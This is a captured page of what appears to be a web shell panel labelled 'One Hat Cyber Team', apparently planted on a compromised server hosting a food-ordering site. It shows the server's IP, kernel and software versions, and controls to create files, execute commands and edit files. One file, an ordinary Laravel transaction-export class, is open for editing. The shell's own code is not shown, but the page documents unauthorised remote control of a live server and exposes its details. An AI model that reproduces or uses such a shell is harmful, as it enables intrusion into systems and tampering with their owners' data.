One Hat Cyber Team
Your IP :
3.149.237.65
Server IP :
50.28.103.30
Server :
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software :
nginx/1.24.0
PHP Version :
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
food.electronharmony.com
/
app
/
Exports
/
Edit File:
TransactionExport.php
<?php namespace App\Exports; use App\Libraries\AppLibrary; use App\Services\TransactionService; use App\Http\Requests\PaginateRequest; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\FromCollection; class TransactionExport implements FromCollection, WithHeadings { public TransactionService $transactionService; public PaginateRequest $request; public function __construct(TransactionService $transactionService, $request) { $this->transactionService = $transactionService; $this->request = $request; } public function collection() : \Illuminate\Support\Collection { $transactionArray = []; $transactionsArray = $this->transactionService->list($this->request); foreach ($transactionsArray as $transaction) { $transactionArray[] = [ $transaction->transaction_no, AppLibrary::datetime($transaction->created_at), $transaction->payment_method, optional($transaction->order)->order_serial_no, $transaction->sign . " " . AppLibrary::flatAmountFormat($transaction->amount), ]; } return collect($transactionArray); } public function headings() : array { return [ trans('all.label.transaction_id'), trans('all.label.date'), trans('all.label.payment_method'), trans('all.label.order_serial_no'), trans('all.label.amount'), ]; } }
Simpan